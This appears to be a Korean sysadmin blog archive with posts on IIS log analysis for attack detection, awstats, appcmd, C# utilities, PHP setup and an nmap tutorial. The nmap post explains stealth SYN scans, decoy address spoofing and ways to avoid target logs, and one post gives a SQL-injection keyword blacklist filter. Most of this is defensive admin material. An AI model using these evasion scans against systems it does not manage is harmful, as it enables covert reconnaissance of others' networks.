C:\logparser -i:FS "SELECT TO_LOWERCASE(SUBSTR(Name, LAST_INDEX_OF(Name, '.'),  STRLEN(Name))) AS Extenstion, Count(*) AS Files FROM C:\inetpub \wwwroot\*.*, C:\inetpub\scripts\*.* WHERE Attribute NOT LIKE 'D%' GROUP BY Extenstion ORDER BY Files DESC" -rtp:-1 

* 특히, .ASP, .DLL 파일 요청을 유심히 봐야함

5) HTTP 서버 500 에러코드 검사

C:\logparser "SELECT [cs-uri-stem], [cs-uri-query], Count(*) AS [Hits] FROM c:\logs\web\ex*.log WHERE sc-status = 500 GROUP BY [cs-uri-stem], [cs-uri-query] ORDER BY [hits], [cs-uri-stem] DESC" -rtp:-1 -i:iisw3c
 

6) 가장 많은 Request Hit 수를 높음 ASP, DLL 파일 확인

C:\logparser "SELECT TO_STRING(TO_TIMESTAMP(date, time), 'yyyy-MM-dd') AS Day, cs-uri-stem, Count(*) AS Total ex*.log WHERE (sc-status<400 or sc-status>=500) AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' OR TO_LOWERCASE(cs-uri-stem) LIKE '%.exe') GROUP BY Day, cs-uri-stem ORDER BY cs-uri-stem, Day" -rtp:-1 

7) 시간당 에러수가 가장 많이 발생한 날짜 확인
 
C:\logparser "SELECT date, QUANTIZE(time, 3600) AS hour, sc-status, Count(*) AS Errors FROM ex03*.log WHERE sc-status>=400 GROUP BY date, hour, sc-status HAVING Errors>25 ORDER BY Error DESC" -rtp:-1 

* 25개 이상의 에러코드(404코드)를 발생한 날짜와 시간 결과를 출력

8) 하루동안 50번이상 동일 페이지에 접속을 시도한 클라이언트 IP 확인
 
C:\logparser "SELECT DISTINCT date, cs-uri-stem, c-ip, Count(*) AS Hits FROM ex*.log GROUP BY date, c-ip, cs-uri-stem HAVING Hits>50 ORDER BY Hits DESC" -rtp:-1 

9) 하루동안 50번이상 동일 페이지에 접속을 시도한 클라이언트 IP 확인
 
C:\logparser "SELECT DISTINCT date, cs-uri-stem, c-ip, Count(*) AS Hits FROM ex*.log GROUP BY date, c-ip, cs-uri-stem HAVING Hits>50 ORDER BY Hits DESC" -rtp:-1 

10)  모든 ASP 에러 기록 확인
 
C:\logparser "SELECT cs-uri-query, Count(*) AS Total FROM ex*.log WHERE sc-status>=500 GROUP BY cs-uri-query ORDER BY Total DESC" -rtp:-1 

* 특히, ODBC와 ADO 에러는 SQL Injection 가능성이 있으므로 주의깊게 살펴봐야 함

11) 스크립트 및 Executable 파일의 HTTP 서버 코드 기록 확인
 
C:\logparser "SELECT cs-uri-stem, sc-status, Count(*) AS Total FROM ex*.log WHERE TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' or TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%' GROUP BY cs-uri-stem, sc-status ORDER BY cs-uri-stem, sc-status" -rtp:-1 

12) Win32 Status Code 분석을 통한 Attack 확인
 
C:\logparser "SELECT cs-uri-stem, WIN32_ERROR_DESCRIPTION(sc-win32-status) AS Error, Count(*) AS Total FROM ex*.log WHERE sc-win32-status>0 AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' OR TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%') GROUP BY cs-uri-stem, Error ORDER BY cs-uri-stem, Error" -rtp:-1
 

13) HTTP Method 통계 분석
 
C:\logparser "SELECT cs-uri-stem, cs-method, Count(*) AS Total FROM ex*.log WHERE (sc-status<400 or sc-status>=500) AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' or TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%') GROUP BY cs-uri-stem, cs-method ORDER BY cs-uri-stem, cs-method" -rtp:-1

2010/11/15 08:02 2010/11/15 08:02
일단 perl을 설치한다.
http://www.perl.com

D:\Perl 에 설치되어 있다고 가정하고,


awstats를 다운받는다.
http://awstats.sourceforge.net

압축을 해제하든 exe 파일을 실행시키든 어쨌든 설치한다.
D:\awstats 에 설치되었다고 가정한다.


D:\awstats\wwwroot\cgi-bin\ 폴더를 해당 webroot/awstats/ 에 카피한다.
D:\awstats\wwwroot\icon\ 폴더를 해당 webroot/awstats/ 에 카피한다.

웹사이트명을 mylog.com 이라고 가정하면,

webroot/awstats/cgi-bin/awstats.model.conf 파일을 같은 폴더에 복사한다.
파일명은 반드시 awstats.mylog.conf 로 한다.

awstats.mylog.conf 파일을 편집한다.

LogFile="D:\LogFiles\W3SVC12345678\ex%YY-24%MM-24%DD-24.log
LogType=W
LogFormat=2
SiteDomain="mylog.com"
DirIcons="/awstats/icon"
AllowAccessFromWebToFollowingIPAddresses="192.168.0.1-192.168.0.254"
UseFramesWhenCGI=0
Lang="ko"


도스창에서 실행한다.
D:> perl awstats.pl -config=mylog -update

기본적으로 awstats는 현재날짜의 로그를 적용하지 않는다.
그래서 보통 매일새벽에 스케줄링으로 업데이트를 한다.

브라우저에서 실행시킨다.

http://mylog.com/awstats/cgi-bin/awstats.pl?config=mylog

간혹, 텍스트만 출력되기도 하는데 그럴땐 브라우저에 다시 입력해보면 제대로 출력된다.
왜 그런지 이유는 모르겠음.



IIS설정을 확인해 보자.

먼저, IIS에서 perl을 해석할 수 있어야 한다.
IIS관리에서 mylog.com 의 속성->홈디렉토리->구성->매핑 탭에 들어가서 "pl" 확장자를 추가한다.
이때 실행파일을 D:\perl\bin\perl.exe 로 하면 안되고 D:\perl\bin\perlis.dll 로 해야한다.

당연하겠지만 "W3C 확장 로그 파일 형식"으로 IIS 로그사용에 체크되어 있어야 한다.
로깅 속성은 다음과 같다.

date
time
c-ip
cs-username
cs-method
cs-uri-stem
cs-uri-query
sc-status
sc-bytes
cs-version
cs(User-Agent)
cs(Referer)

위 내용빼고는 전부 체크해제해야 한다.
간혹, 윈도우즈 서버의 버전 또는 IIS 버전에 따라 기본속성이 틀릴수 있으니 반드시 확인해 봐야한다.

자세한 내용은 awstats 웹사이트의 doc을 확인해라.

http://awstats.sourceforge.net/docs/index.html
2010/11/15 07:57 2010/11/15 07:57

NMAPport Scanning 툴로서 호스트나 네트워크를 스캐닝 할 때, 아주 유용한 시스템 보안툴인 동시에, 해커에게는 강력한 해킹툴로 사용될 수 있습니다. 서버를 운영하다 보면 관리자 스스로도 어떤 포트가 열려있고, 또 어떤 서비스가 제공중인지 잘 모를때가 있습니다. 기억력이 나빠서나, 게을러서가 아니라 필요에 의해 자주 변경되므로 수시로 파악해서 기록해두지 않으면 잊어버리게 됩니다. 또 크래킹에 의해 생성된 백도어는 파악하기가 어렵습니다.수 많은 포트와 서비스를 효과적으로 체크해서 관리하기 위해서 NMAP과 같은 포트 스캔 툴이 필요합니다. NMAP은 기존의 포트스캔툴에 비해 다양한 옵션과 방화벽 안쪽의 네트웍도 스캔할 수 있는 강력한 기능이 있습니다.

1. 설치 http://www.insecure.org/nmapnmap 의 홈페이지에서 소스파일을 내려 받습니다. 그 후에 설치할 디렉토리로 옮긴후에 압축을 풉니다. 그 후에 해당 디렉토리에서 ./configure 를 실행한 후에make, make install 을 실행합니다.

[root@gyn nmap-2.54BETA30]# ./configure [root@gyn nmap-2.54BETA30]# make; make install

설치가 끝났으면 몇 가지 스캔 타입을 알아봅시당.

    

    

-sT

일반적인 TCP 포트스캐닝.

-sS

이른바 'half-open' 스캔으로 추적이 어렵다.

-sP

ping 을 이용한 일반적인 스캔.

-sU

UDP 포트 스캐닝.

-PO

대상 호스트에 대한 ping 응답을 요청하지 않음 .log 기록과 filtering 을 피할 수 있다.

-PT

일반적이 ICMP ping이 아닌 ACK 패킷으로 ping 을 보내고RST 패킷으로 응답을 받는다.

-PI

일반적인 ICMP ping 으로 방화벽이나 필터링에 의해 걸러진다.

-PB

ping 을 할 때 ICMP ping TCP ping을 동시에 이용한다.

-PS

ping 을 할 때 ACK 패킷대신 SYN 패킷을 보내 스캔.

-O

대상 호스트의 OS 판별.

-p

대상 호스트의 특정 포트를 스캔하거나, 스캔할 포트의 범위를 지정.ex) -p 1-1024

-D

Decoy 기능으로 대상 호스트에게 스캔을 실행한 호스트의 주소를 속인다.

-F

/etc/services 파일 내에 기술된 포트만 스캔.

-I

TCP 프로세서의 identd 정보를 가져온다.

-n

IP 주소를 DNS 호스트명으로 바꾸지 않는다. 속도가 빠르다.

-R

IP 주소를 DNS 호스트명으로 바꿔서 스캔. 속도가 느리다.

-o

스캔 결과를 택스트 파일로 저장.

-i

스캔 대상 호스트의 정보를 지정한 파일에서 읽어서 스캔.

-h

도움말 보기

위의 스캔타입은 자주 쓰이는 내용이고 -h 옵션을 쓰거나 man page를 이용하면 아주 상세한 사용방법을 보실 수 있습니다.

[gyn@gyn gyn]$ man nmapNMAP(1) NMAP(1)

NAMEnmap - Network exploration tool and security scanner

SYNOPSISnmap [Scan Type(s)] [Options] <host or net #1 ... [#N]>..중략..[gyn@gyn gyn]$ nmap -hNmap V. 2.54BETA30 Usage: nmap [Scan Type(s)] [Options] <host or net list>Some Common Scan Types ('*' options require root privileges)-sT TCP connect() port scan (default)* -sS TCP SYN stealth port scan (best all-around TCP scan)* -sU UDP port scan..중략..

2. 사용.

몇가지 사용 예를 통해 nmap을 활용해 보시죠.

[root@gyn root]# nmap -sP xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )Host gyn (xxx.xxx.xxx.xxx) appears to be up.

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

-sP 옵션으로 대상호스트가 살아 있음을 알아냈습니다. 이젠 특정 포트(80)를 검색해 보겠습니다.

[root@ home]# nmap -sP -PT80 xxx.xxx.xxx.xxxTCP probe port is 80

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Host (xxx.xxx.xxx.xxx) appears to be up.Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

지정된 포트가 아니라 대상호스트의 열린 포트를 모두 검색해 봅니다.

[root@ home]# nmap -sT xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Interesting ports on (xxx.xxx.xxx.xxx):(The 1526 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh 53/tcp open domain 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds

대상 호스트의 열린 포트를 알수는 있지만 로그가 남으므로 위험합니다. 스텔스 스캔으로 감시를 피해야 겠지요.

[root@webserver log]# nmap -sS xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Interesting ports on (xxx.xxx.xxx.xxx):(The 1526 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh 53/tcp open domain 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds

UDP port 스캔입니다. 시간이 많이 걸릴 수도 있습니다.

[root@gyn root]# nmap -sU localhost

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )Interesting ports on gyn (127.0.0.1):(The 1450 ports scanned but not shown below are in state: closed)Port State Service53/udp open domain 699/udp open unknown Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds

이번에는 -O 옵션으로 운영체제를 알아보겠습니다.

[root@webserver /root]# nmap -sS -O xxx.xxx.xxx.xxx

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )Interesting ports on db (xxx.xxx.xxx.xxx):(The 1530 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh 113/tcp open auth 3306/tcp open mysql

TCP Sequence Prediction: Class=random positive incrementsDifficulty=2158992 (Good luck!)Remote operating system guess: Linux 2.1.122 - 2.2.16

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

몇가지 예를 통해 사용법을 알아 보았습니다. 마지막을 부탁드릴 말씀은 자신이 직접 관리하지 않는, 호스트나 네트웍에서 테스트를 하는 것은아주 무례한 행동이며, 관리가 엄격한 사이트의 경우 접속 제한은 당하는 경우도 있으므로바람직하지 않은 방법으로 사용하는 일이 없길 바랍니다.

2010/11/06 07:30 2010/11/06 07:30
특정 사이트의 환경 설정값 전체 조회

appcmd.exe list config "youngsam.kr"


특정 사이트의 환경 설정값중 특정 섹션

appcmd.exe list config "youngsam.kr" /section:asp

<system.webServer>
  <asp>
    <session />
    <comPlus />
    <cache diskTemplateCacheDirectory="%SystemDrive%\inetpub\temp\ASP Compiled Templates" />
    <limits />
  </asp>
</system.webServer>



특정 사이트의 환경 설정값중 특정 섹션의 속성값

appcmd.exe list config "youngsam.kr" /section:asp /config:*

<system.webServer>
  <asp appAllowClientDebug="false" appAllowDebugging="false" errorsToNTLog="false" ..........



환경 설정값 에서 어떤 섹션이 있는지 조회

appcmd.exe list config /section:?

system.net/authenticationModules
system.web/deployment
system.web/httpModules
system.webServer/directoryBrowse
system.webServer/cgi .................



웹서버 또는 특정 사이트의 특정 섹션값 변경

appcmd.exe set config /section:asp /appAllowClientDebug:false

구성 커밋 경로 "MACHINE/WEBROOT/APPHOST"에서 "MACHINE/WEBROOT/APPHOST"의 "system.webServer/asp" 섹션에 구성 변경을 적용했습니다.


등록되어 있는 모듈 조회

appcmd.exe list config /section:system.webServer/modules

<system.webServer>
  <modules>
    <add name="HttpCacheModule" />
    <add name="StaticCompressionModule" />
    <add name="DefaultDocumentModule" />
    <add name="DirectoryListingModule" />
    <add name="ProtocolSupportModule" />
    <add name="StaticFileModule" />
    <add name="AnonymousAuthenticationModule" />
    <add name="RequestFilteringModule" />
    <add name="CustomErrorModule" />
    <add name="IsapiModule" />
    <add name="HttpLoggingModule" />
    <add name="BitrateModule" />
  </modules>
</system.webServer>



특정 모듈 추가 및 제외 [+/-]

appcmd.exe set config /section:system.webServer/modules /-[name='HttpCac
heModule']



특정 노드 또는 속성값 조회

appcmd.exe search config "youngsam.kr"

CONFIGSEARCH "MACHINE/WEBROOT/APPHOST/youngsam.kr"

2010/11/06 06:15 2010/11/06 06:15
실제 링크는 다음 문서에서...
http://msdn.microsoft.com/ko-kr/vcsharp/aa336818(en-us).aspx



Featured Tools
IMSL™ C# Numerical Library for Microsoft® .NET Applications
Extreme Optimization Mathematics Library for .NET
devAdvantage : C# Source Code Analyzer for Visual Studio .NET

Libraries and Other Stuff
Visual Guard
LibCheck
AQdevTeam
C-Sharpener For VB
{smartassembly}
SmartInspect
Visual Studio Spell Check Add-In - StudioSpell

C# Compilers and Frameworks
.NET Framework SDK Downloads
Visual C# 2005, Express Edition
Rotor?The Microsoft Shared Source CLI Implementation
Mono
eXtensible C#
DotGnu

Obfuscators

{smartassembly}
Dotfuscator .NET Obfuscator
Salamander .NET Obfuscator
Semantic Designs: C# Source Code Obfuscator
Spices.Net
Thinstall
Demeanor for .NET
Xenocode Postbuild 2006
.NET Reactor

Decompilers
Dis#
Decompiler.NET
Exemplar/Anakrino
Reflector .NET Decompiler
Salamander .NET Decompiler (C#, C++, Visual Basic .NET, IL, MSIL)
Xenocode Fox 2006

Profiler/Optimization Tools
NCover
ANTS Profiler
{smartassembly}
Salamander .NET Decompiler (C#, C++, Visual Basic .NET, IL, MSIL)
.NET Memory Profiler
AQtime .NET Edition 2 - Automated Profiling and Debugging
Compuware DevPartner Studio Professional Edition
Allocation Profiler
CoverageEye.NET
NProf
Rational PurifyPlus - Product Overview - IBM Software

Refactoring
C# Refactory
dotEASY
devAdvantage : C# Source Code Analyzer for Visual Studio .NET
ReSharper
DocumentatorMacros

Object Browsers
Reflector for .NET
.NET Component Inspector
LSW DotNet-Reflection-Browser

Editors
C# for emacs
Improve C# Plugin for Eclipse
CodeObject
Semantic Designs: C# Source Code Formatter

Development Environments (IDEs)

SharpDevelop
PowerToys for Visual Studio .NET 2003

Build Tools

NAnt?A .NET Build Tool
CruiseControl.NET
FinalBuilder
Visual Build Professional
Hippo.NET
MegaBuild

Standard Verifiers
FxCop

Testing

TestRunner for NUnit
HarnessIt
POCMock
.NETUnit
NUnit
TestComplete
X-Unity
csunit

Documentation
NDOC?Code Documentation Generator for .NET
SoftSteel C# Tutorial on Documentation
NetDoc
Roland Weigelt's GhostDoc

Database

ADO.NET Express
Data Access Application Block for .NET
DataLG: Generate Assemblies for Visual C# and Visual Basic .NET
DeKlarit
OlyMars

Regular Expressions

GotDotNet User Sample: Regular Expression Workbench (V2.00)
Regular Expression Designer
Expresso?A Tool for Building and Testing Regular Expressions

Graphics, Games and Drawing
CadLib
Sharp3D.Math Library
Animated Vector Graphics
2010/11/06 06:13 2010/11/06 06:13
C# DNS nslookup 컴포넌트
http://www.codeproject.com/KB/IP/dnslookupdotnet.aspx

명령행에서, 보통 사용하는 nslookup 을 사용자 프로그래밍에서 가능하게 하는 공개 컴포넌트 입니다. - 필요한곳에 잘 써먹음...^^ -

물론 이런 컴포넌트가 아닌, nslookup.exe 의 쉘을 받아서 구현이 가능하겠지만,. 구조적이지 않다는 점이 있겠지요..^^

사용법은, 참조에서 Bdev.Net.Dns.dll 를 참조하고, 다음 예제와 같은 코드를 또는 해당 메쏘드를 기반으로 하는 추가 코드를 구현하면 됩니다.


IPAddress dnsServerAddress = IPAddress.Parse("168.126.63.1");

MXRecord[] records = Resolver.MXLookup("wssplex.net",  dnsServerAddress);

foreach (MXRecord record in records)
{
    Console.WriteLine("{0}, preference {1}", record.HostName, record.Preference);
}

특정 쿼리 타입 메쏘드 또는 공용 메쏘드에서 특정 쿼리 타입을 지정 해주거나...

IPAddress dnsServerAddress = IPAddress.Parse("168.126.63.1");

Request request = new Request();
request.AddQuestion(new Question("wssplex.net", DnsType.MX, DnsClass.IN));

Response response = Resolver.Lookup(request, dnsServerAddress);

foreach (Answer answer in Answers)
{
    MXRecord record = (MXRecord)answer.Record;
    Console.WriteLine("{0}, preference {1}", record.HostName, record.Preference);
}


그리고, 같이 배포되는 데모 프로젝트의 소스를 보면, 좀더 응용이 가능합니다. 한가지 버그?? 라면,. 도메인을 정규편식으로 체크하는 Question 클래스의 아래 정규편식 입니다.

!Regex.IsMatch(domain, @"^[a-z|A-Z|0-9|-|_]{1,63}(\.[a-z|A-Z|0-9|-|_]{1,63})+$")

보통의 도메인은 맞긴 하나,. "-" 가 들어간 도메인은 매칭이 되지 않는 정규편식 입니다. 물론 소스코드 까지 배포가 되므로,. 직접 수정후 빌드해서 참조하면 되겠습니다.^^;
2010/11/06 06:12 2010/11/06 06:12
아는 사람들은 다 아는.... tasklist.exe

특정 svchost 프로세스

C:\>tasklist /svc /FI "pid eq 880"
이미지 이름                       PID        서비스
========================= ======== ============================================
svchost.exe                    880          AeLookupSvc, AudioSrv, CryptSvc, dmserver,
                                                    EventSystem, helpsvc, lanmanserver,
                                                    lanmanworkstation, Netman, Nla, RasMan,
                                                    Schedule, seclogon, SENS, SharedAccess,
                                                    ShellHWDetection, winmgmt, wuauserv, WZCSVC

전체 서비스 조회는  C:\>tasklist /svc 이며,
또는 tasklist /svc /FI "IMAGENAME eq svchost.exe"다음과 같은 필터가 가능

필터 이름       유효한 연산자             유효한 값
-----------     ---------------           --------------------------
STATUS          eq, ne                    RUNNING |
          NOT RESPONDING | UNKNOWN
IMAGENAME       eq, ne                    이미지 이름
PID             eq, ne, gt, lt, ge, le    PID 값
SESSION         eq, ne, gt, lt, ge, le    세션 번호
SESSIONNAME     eq, ne                    세션 이름
CPUTIME         eq, ne, gt, lt, ge, le    CPU 시간
          (hh:mm:ss 형식)
          hh - 시간,
          mm - 분, ss - 초
MEMUSAGE        eq, ne, gt, lt, ge, le    메모리 사용(KB)
USERNAME        eq, ne                    사용자 이름([domain\]user
          형식)
SERVICES        eq, ne                    서비스 이름
WINDOWTITLE     eq, ne                    창 제목
MODULES         eq, ne                    DLL 이름

GUI 에서는 볼수 없을까요?..
Process Explorer 에서도 볼수가 있습니다.

사용자 삽입 이미지
2010/11/06 06:12 2010/11/06 06:12
닷넷 프레임워크 2.0 이상에서는, HttpModule 을 등록하여 사용하는 방법에 대한 것이고, 닷넷 1.1 기반에서는 응용프로그램 시작 지점에 체크 루틴을 넣는 방법 입니다.

public static string[] blackList =
 {"--",";--",";","/*","*/","@@","@",
    "char","nchar","varchar","nvarchar",
    "alter","begin","cast","create","cursor","declare","delete","drop",
    "end","exec","execute",
    "fetch","insert","kill","open",
    "select", "sys","sysobjects","syscolumns",
    "table","update"};

Sql Injection 이 가능한 문자열을 배열로 지정을 해놓고, 웹서버에 요청되는 내용을 위 내용으로 필터링을 하는 것입니다.

특히 요즘에는,. 쿼리문을 바이너리 문자열로 인코딩하여 실제 SQL Server 에서는 실행시 정상적인 쿼리문으로 실행되도록 Cast 형변환,. 즉 Declare 와 Cast 를 많이 쓰는것 같습니다.

사이트의 개별 코드와는 상관없이 사이트 전역에 영향을 주는 방법이긴 합니다만, Form 값으로 들어오는 부분도 필터링을 하므로,. 보통 게시판을 글 내용에 있는 것도 필터가 될수도 있겠네요.

요즘,. Sql Injection 이 극성인데,..
조금이나마 도움이 될수도 있을것 같습니다.^^
2010/11/06 06:11 2010/11/06 06:11
//IPAddress 를 숫자형으로 반환 받은 경우 문자열로 변환
public string LongToIPAddress(uint IPAddr)
{
  return new System.Net.IPAddress(IPAddr).ToString();
}

//문자열 IPAddress 를 숫자형으로 변환
public uint IPAddressToLong(string IPAddr)
{
  System.Net.IPAddress oIP=System.Net.IPAddress.Parse(IPAddr);
  byte[] byteIP=oIP.GetAddressBytes();

  uint ip=(uint)byteIP[3]<<24;
  ip+=(uint)byteIP[2]<<16;
  ip+=(uint)byteIP[1]<<8;
  ip+=(uint)byteIP[0];

  return ip;
}

//byte 단위 값을 숫자형 값으로 변환
public int LocalPort(uint dwLocalPort)
{
    return (int)(((dwLocalPort & 0xFF00) >> 8) | ((dwLocalPort & 0x00FF) << 8));
}
2010/11/06 06:10 2010/11/06 06:10
닷넷 프레임워크 2 에서 부터 제공하는 GZipStream 압축 클래스

  using System.IO; 
  using System.IO.Compression;

  FileStream fs = new FileStream("c:\\wssplex.gz",FileMode.CreateNew);
  GZipStream gz = new GZipStream(fs, CompressionMode.Compress);
  StreamWriter sw = new StreamWriter(gz);
  sw.Write("data");
  sw.Close();

http://msdn.microsoft.com/ko-kr/library/system.io.compression.gzipstream.aspx


2010/11/06 06:09 2010/11/06 06:09

Server Utility Tools

Windows Script Encoder - 스크립트 인코더로 스크립트 소스코드 보호
 Windows Installer 3.0 Redistributable - Windows Installer 3.0 버젼. msi 배포시 필요.
 Windows Script 5.6 - Windows 2003용 Windows Script 5.6 버젼
 Windows Script 5.6 - Windows 2000,XP용 Windows Script 5.6 버젼
 Microsoft Network Monitor 3 패킷분석기
 SyncBack Freeware - Freeware 파일 백업/동기화 유틸
 Reflector for .NET - 닷넷디컴파일러
 Sourceforge Project - Clam AntiVirus - 실시간 바이러스DB 업데이트 제공
 Sourceforge Project - Packetyzer - 패킷분석기
 Microsoft Data Access Components (MDAC) 2.8 한글
 Microsoft .NET Framework 2.0 베타 2(x86)
 Microsoft .NET Framework 1.1 Redistributable 한글
 WMI Code Creator v1.0
 WMI Administrative Tools
 Debug Diagnostic Tool v1.1 디버깅툴
 Debugging Tools for Windows - WinDbg 디버깅툴

 Sysinternals - Diskmon v2.01 - HDD 작동상태 모니터링
 Sysinternals - Filemon v7.02 - 실시간 파일시스템 모니터링
 Sysinternals - Junction 1.032 - NTFS 심볼릭 링크 생성
 Sysinternals - PsTools v2.24 - 프로세스관리툴 모음
 Sysinternals - Autoruns v8.31 - Autorun 관리툴
 Sysinternals - RootkitRevealer - 루트킷 검색툴
 Sysinternals - Tokenmon - 토큰모니터
 Sysinternals - TDIMon - TCP/IP 실시간 모니터
 Sysinternals - Process Explorer - 프로세스탐색기
 Sysinternals - Portmon for Windows NT/9x - 네트워크포트 모니터
 Sysinternals - Regmon for Windows NT/9x - 레지스트리 모니터
 Sysinternals - CPUMon - CPU 모니터
 Sysinternals - Filemon for Windows - 파일 모니터
 Sysinternals - BlueScreen Screen Saver - 블루스크린 세이버

Windows Server
 Web Application Stress Tool
 Windows Server™ 2003 Performance Advisor
 Windows Server 2003 Resource Kit Tools
 IIS 5.0 Process Recycling Tool - IIS 5 재생을 통해 가용성을 높이는 툴
 User Profile Hive Cleanup Service(EventlogID:1000..)
 Internet Information Services (IIS) 6.0 Resource Kit Tools
 IIS Diagnostics Toolkit (x86)
 Urlscan 2.5 Install Package
 IIS Crash/Hang Agent & IIS Dump
 Active Directory Migration Tool v3.0 한글

SQL Server
 SQL Server Web Data Administrator
 SQL Server Express Utility
 SQL Server Health and History Tool (SQLH2)
 Best Practices Analyzer Tool for Microsoft SQL Server 2000 1.0
 Microsoft SQL Server Report Pack for Internet Information Services (IIS Logs)

Exchange Server
 Exchange 지능형 메시지 필터 - Exchange Server 2003 버젼용
 Exchange Server Stress and Performance 2003
 Microsoft Exchange Server 2003 Load Simulator (LoadSim)
 Microsoft Exchange Server User Monitor
 Microsoft Exchange Server Mailbox Merge Wizard (ExMerge)
 Exchange Server 2003 Exchange 배포 도구
 Exchange Server Performance Troubleshooting Analyzer Tool v1.0
 Exchange Server Best Practices Analyzer Tool 한글
2010/11/06 06:07 2010/11/06 06:07

간략한 설명

Script Encoder는 사용하기 쉬운 명령줄 도구입니다. Script Encoder를 사용하면
스크립트 디자이너가 자신의 최종 스크립트를 인코딩할 수 있어서 웹 호스트나 웹 클라이언트가 원본을 보거나 수정할 수 없게 됩니다. 그러나 이렇게
인코딩하면 사용자의 코드를 쉽게 볼 수만 없을 뿐, 전문 해커들이 사용자가 어떻게 스크립트를 작성했는지 보는 것을 막지는 못합니다.

개요


Script Encoder는 사용하기 쉬운
명령줄 도구입니다. Script Encoder를 사용하면 스크립트 디자이너가 자신의 최종 스크립트를 인코딩할 수 있어서 웹 호스트나 웹
클라이언트가 원본을 보거나 수정할 수 없게 됩니다. 그러나 이렇게 인코딩하면 사용자의 코드를 쉽게 볼 수만 없을 뿐, 전문 해커들이 사용자가
어떻게 스크립트를 작성했는지 보는 것을 막지는 못합니다.
2010/11/06 06:04 2010/11/06 06:04
IIS 명령줄 관리 도구, AppCmd : 사이트 및 응용 프로그램 풀 상태
응용 프로그램 풀 상태

C:\Windows\System32\inetsrv>appcmd.exe list apppool /text:*
에서 또는 응용 프로그램 풀 관련 xml 에서 지원하는 속성값을 확인하여 파라미터를 추가하여 조회 가능

C:\Windows\System32\inetsrv>appcmd.exe list apppool www.wssplex.net
APPPOOL "www.wssplex.net" (MgdVersion:v2.0,MgdMode:Integrated,state:Started)

C:\Windows\System32\inetsrv>appcmd.exe list apppool /state:started
C:\Windows\System32\inetsrv>appcmd.exe list apppool /enable32BitAppOnWin64:"false"


실행중인 작업자 프로세스

C:\Windows\System32\inetsrv>appcmd.exe list wps
WP "3880" (applicationPool:DefaultAppPool)

C:\Windows\System32\inetsrv>appcmd.exe list wps /apppool.name:DefaultAppPool
WP "3880" (applicationPool:DefaultAppPool)

C:\Windows\System32\inetsrv>appcmd list wp "3897"


현재 요청 내역 확인

C:\Windows\System32\inetsrv>appcmd.exe list requests
REQUEST "f500000080000005" (url:GET /favicon.ico, time:16 msec, client:localhost, stage:SendResponse
, module:IIS Web Core)


C:\Windows\System32\inetsrv>appcmd.exe list requests /apppool.name:DefaultAppPool
C:\Windows\System32\inetsrv>appcmd.exe list requests /wp.name:3897
C:\Windows\System32\inetsrv>appcmd.exe list requests /wp.name:3897
2010/11/06 06:02 2010/11/06 06:02

1. PHP 설치

1.1 최신 버젼인 PHP 5.1.2 버젼을 다운로드 : http://www.php.net/downloads.php

다운로드를 할때, 버젼은 "Collection of PECL modules for PHP 5.1.2 " 을 다운로드를 한다. PECL은 PHP의 광범위한 확장 라이브러리 모듈을 제공한다 한다.

msi 인스톨러보다는, zip 압축을 다운받기를 바람..

확장라이브러리는 http://pear.php.net/packages.php 에서 필요한 수많은 모듈을 다운로드 할수있다.

블로그중에, PECL 관련 포스트도 참고해 보기 바란다.
http://blog.naver.com/jegom?Redirect=Log&logNo=120004156186

1.2 php.ini-recommand 를 php.ini 로 변경

압축을 푼 PHP 디렉토리에서, php.ini* 로 되어 있는 파일은, PHP에서 권장하는 설정값이 적용되어 있는 파일이다.

2. PHP 환경설정

2.1 php.ini에서 cgi.force_redirect 값이 0 인지 확인.

2.2 browscap.ini 파일 설치하기

꼭 설치할 필요는 없다. 다만, PHP에서 브라우져 특성에 따라 최적의 스크립트 작동을 하게 된다.

php_browscap.ini는 http://www.garykeith.com/browsers/downloads.asp 에서 다운로드가 가능하며,  PHP 설치디렉토리의 extras에 복사해 넣고, php.ini에서 browscap 에 다음과 같이 경로를 지정해 준다.

browscap=C:\PHP\extras\browscap.ini

2.3 php.ini 에서 세션파일 저장 경로 설정.

session.save_path=C:\PHP\Sessions

2.4 PHP 확장 라이브러리 설정

추가적인 확장모듈을 설치하고자 한다면 다음 웹사이트를 방문해 보기 바란다.
http://ca3.php.net/manual/en/install.windows.extensions.php

php.ini 에서 extension_dir 확장모듈 경로를 지정해준다.

 "C:\PHP\extension"

extension=php_mbstring.dll
extension=php_bz2.dll
extension=php_cpdf.dll
extension=php_curl.dll
extension=php_dba.dll
extension=php_dbase.dll
extension=php_dbx.dll
;extension=php_exif.dll
extension=php_fdf.dll
extension=php_filepro.dll
extension=php_gd2.dll
extension=php_gettext.dll
;extension=php_ifx.dll
extension=php_iisfunc.dll
extension=php_imap.dll
extension=php_interbase.dll
extension=php_java.dll
extension=php_ldap.dll
;extension=php_mcrypt.dll
extension=php_mhash.dll
extension=php_mime_magic.dll
extension=php_ming.dll
extension=php_mssql.dll
extension=php_msql.dll
extension=php_mysql.dll
extension=php_mysqli.dll
;extension=php_oci8.dll
extension=php_openssl.dll
;extension=php_oracle.dll
extension=php_pdf.dll
extension=php_pgsql.dll
extension=php_shmop.dll
extension=php_snmp.dll
extension=php_sockets.dll
;extension=php_sybase_ct.dll
extension=php_tidy.dll
extension=php_ffi.dll
extension=php_xmlrpc.dll
extension=php_xsl.dll
